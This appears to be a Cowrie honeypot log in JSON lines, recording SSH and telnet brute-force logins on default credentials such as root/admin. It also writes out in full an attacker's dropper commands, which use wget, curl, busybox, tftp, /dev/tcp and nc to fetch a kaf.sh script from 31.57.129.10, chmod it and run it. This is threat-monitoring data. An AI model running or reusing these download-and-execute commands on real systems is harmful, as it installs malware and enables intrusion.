{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:39.602787Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:39.745028Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:40.170539Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:40.523580Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd /tmp||cd /var/run||cd /var/tmp||cd /dev/shm||cd /;rm -f .k;wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null||curl -fsSL http://31.57.129.10/bins/kaf.sh -o .k 2>/dev/null||busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null||/bin/busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null||tftp -g -l .k -r /bins/kaf.sh 31.57.129.10 2>/dev/null||tftp 31.57.129.10 -c get /bins/kaf.sh .k 2>/dev/null||(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'>/dev/tcp/31.57.129.10/80&&cat</dev/tcp/31.57.129.10/80>.k)||(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'|nc 31.57.129.10 80|sed '1,/^$/d'>.k);chmod 777 .k;sh .k;rm -f .k","message":"CMD: cd /tmp||cd /var/run||cd /var/tmp||cd /dev/shm||cd /;rm -f .k;wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null||curl -fsSL http://31.57.129.10/bins/kaf.sh -o .k 2>/dev/null||busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null||/bin/busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null||tftp -g -l .k -r /bins/kaf.sh 31.57.129.10 2>/dev/null||tftp 31.57.129.10 -c get /bins/kaf.sh .k 2>/dev/null||(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'>/dev/tcp/31.57.129.10/80&&cat</dev/tcp/31.57.129.10/80>.k)||(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'|nc 31.57.129.10 80|sed '1,/^$/d'>.k);chmod 777 .k;sh .k;rm -f .k","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:40.527538Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b8ff2160f4066fd976755a3b6ca6efc835342d688fbd408dd40997126061e666","size":0,"shasum":"b8ff2160f4066fd976755a3b6ca6efc835342d688fbd408dd40997126061e666","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b8ff2160f4066fd976755a3b6ca6efc835342d688fbd408dd40997126061e666 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:40.683605Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:40.830341Z","src_ip":"31.57.129.10","session":"c91636f65a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":48384,"dst_ip":"159.203.135.109","dst_port":23,"session":"6013a1c23724","protocol":"telnet","message":"New connection: 31.57.129.10:48384 (159.203.135.109:23) [session: 6013a1c23724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:40.984955Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:41.530130Z","src_ip":"31.57.129.10","session":"6013a1c23724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1452505588531494,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:42.130081Z","src_ip":"31.57.129.10","session":"6013a1c23724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":48398,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7b3d2bdba36","protocol":"telnet","message":"New connection: 31.57.129.10:48398 (159.203.135.109:23) [session: c7b3d2bdba36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:42.268318Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:42.812202Z","src_ip":"31.57.129.10","session":"c7b3d2bdba36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1445860862731934,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:43.412812Z","src_ip":"31.57.129.10","session":"c7b3d2bdba36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.129.10","src_port":48412,"dst_ip":"159.203.135.109","dst_port":23,"session":"375fc5a43e89","protocol":"telnet","message":"New connection: 31.57.129.10:48412 (159.203.135.109:23) [session: 375fc5a43e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:43.550982Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:44.095067Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:44.137596Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:44.695182Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:44.995394Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:44.999979Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:45.295320Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:45.299896Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:45.596957Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /tmp || cd /var/run || cd /var/tmp || cd /dev/shm || cd /","message":"CMD: cd /tmp || cd /var/run || cd /var/tmp || cd /dev/shm || cd /","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:45.898544Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &","message":"CMD: wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:46.199208Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://31.57.129.10/bins/kaf.sh","outfile":"var/lib/cowrie/downloads/2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","shasum":"2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:46.347306Z","message":"Downloaded URL (http://31.57.129.10/bins/kaf.sh) with SHA-256 2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12 to var/lib/cowrie/downloads/2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"curl -fsSL http://31.57.129.10/bins/kaf.sh -o .k 2>/dev/null && chmod 777 .k && sh .k &","message":"CMD: curl -fsSL http://31.57.129.10/bins/kaf.sh -o .k 2>/dev/null && chmod 777 .k && sh .k &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:46.499533Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &","message":"CMD: busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:46.799516Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"wget http://31.57.129.10/bins/kaf.sh -O .k","message":"Command found: wget http://31.57.129.10/bins/kaf.sh -O .k","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:46.803703Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://31.57.129.10/bins/kaf.sh","outfile":"var/lib/cowrie/downloads/2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","shasum":"2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:46.951048Z","message":"Downloaded URL (http://31.57.129.10/bins/kaf.sh) with SHA-256 2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12 to var/lib/cowrie/downloads/2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &","message":"CMD: /bin/busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:47.099787Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"wget http://31.57.129.10/bins/kaf.sh -O .k","message":"Command found: wget http://31.57.129.10/bins/kaf.sh -O .k","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:47.104417Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://31.57.129.10/bins/kaf.sh","outfile":"var/lib/cowrie/downloads/2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","shasum":"2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:47.252752Z","message":"Downloaded URL (http://31.57.129.10/bins/kaf.sh) with SHA-256 2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12 to var/lib/cowrie/downloads/2a4124b52ac8c53e431bf25813981ba2c596833114d195e2028183d2f6903b12","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'|nc 31.57.129.10 80|sed '1,/^$/d')>.k;chmod 777 .k;sh .k &","message":"CMD: (echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'|nc 31.57.129.10 80|sed '1,/^$/d')>.k;chmod 777 .k;sh .k &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:47.401373Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo -e GET /bins/kaf.sh HTTP/1.0rnHost: 31.57.129.10rnrn | nc 31.57.129.10 80 | sed 1,/^$/d","message":"CMD: echo -e GET /bins/kaf.sh HTTP/1.0rnHost: 31.57.129.10rnrn | nc 31.57.129.10 80 | sed 1,/^$/d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:47.405708Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"sed 1,/^$/d","message":"Command not found: sed 1,/^$/d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:47.412364Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/feb277eb6d93cd4dc10c3389f197e26321e07ec82b53971dabe3d9986e5f5c1a","size":2969,"shasum":"feb277eb6d93cd4dc10c3389f197e26321e07ec82b53971dabe3d9986e5f5c1a","duplicate":false,"duration":"5.6","message":"Closing TTY Log: var/lib/cowrie/tty/feb277eb6d93cd4dc10c3389f197e26321e07ec82b53971dabe3d9986e5f5c1a after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:49.703109Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.1631646156311035,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:00:49.714053Z","src_ip":"31.57.129.10","session":"375fc5a43e89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47346,"dst_ip":"10.17.0.5","dst_port":22,"session":"9359d5f2a1ba","protocol":"ssh","message":"New connection: 80.94.92.186:47346 (10.17.0.5:22) [session: 9359d5f2a1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:01:40.459553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:01:40.483910Z","src_ip":"80.94.92.186","session":"9359d5f2a1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:01:40.691380Z","src_ip":"80.94.92.186","session":"9359d5f2a1ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:01:41.333018Z","src_ip":"80.94.92.186","session":"9359d5f2a1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:01:42.664423Z","src_ip":"80.94.92.186","session":"9359d5f2a1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":62670,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3b16a3612bf","protocol":"ssh","message":"New connection: 45.148.10.157:62670 (159.203.135.109:22) [session: c3b16a3612bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:02:52.906840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:02:52.923952Z","src_ip":"45.148.10.157","session":"c3b16a3612bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:02:53.007400Z","src_ip":"45.148.10.157","session":"c3b16a3612bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:02:53.372537Z","src_ip":"45.148.10.157","session":"c3b16a3612bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49984,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea977d462e0f","protocol":"ssh","message":"New connection: 80.94.92.186:49984 (10.17.0.5:22) [session: ea977d462e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:04:48.113594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:04:48.151326Z","src_ip":"80.94.92.186","session":"ea977d462e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:04:48.237287Z","src_ip":"80.94.92.186","session":"ea977d462e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:04:49.279803Z","src_ip":"80.94.92.186","session":"ea977d462e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:04:50.476339Z","src_ip":"80.94.92.186","session":"ea977d462e0f","protocol":"ssh"}
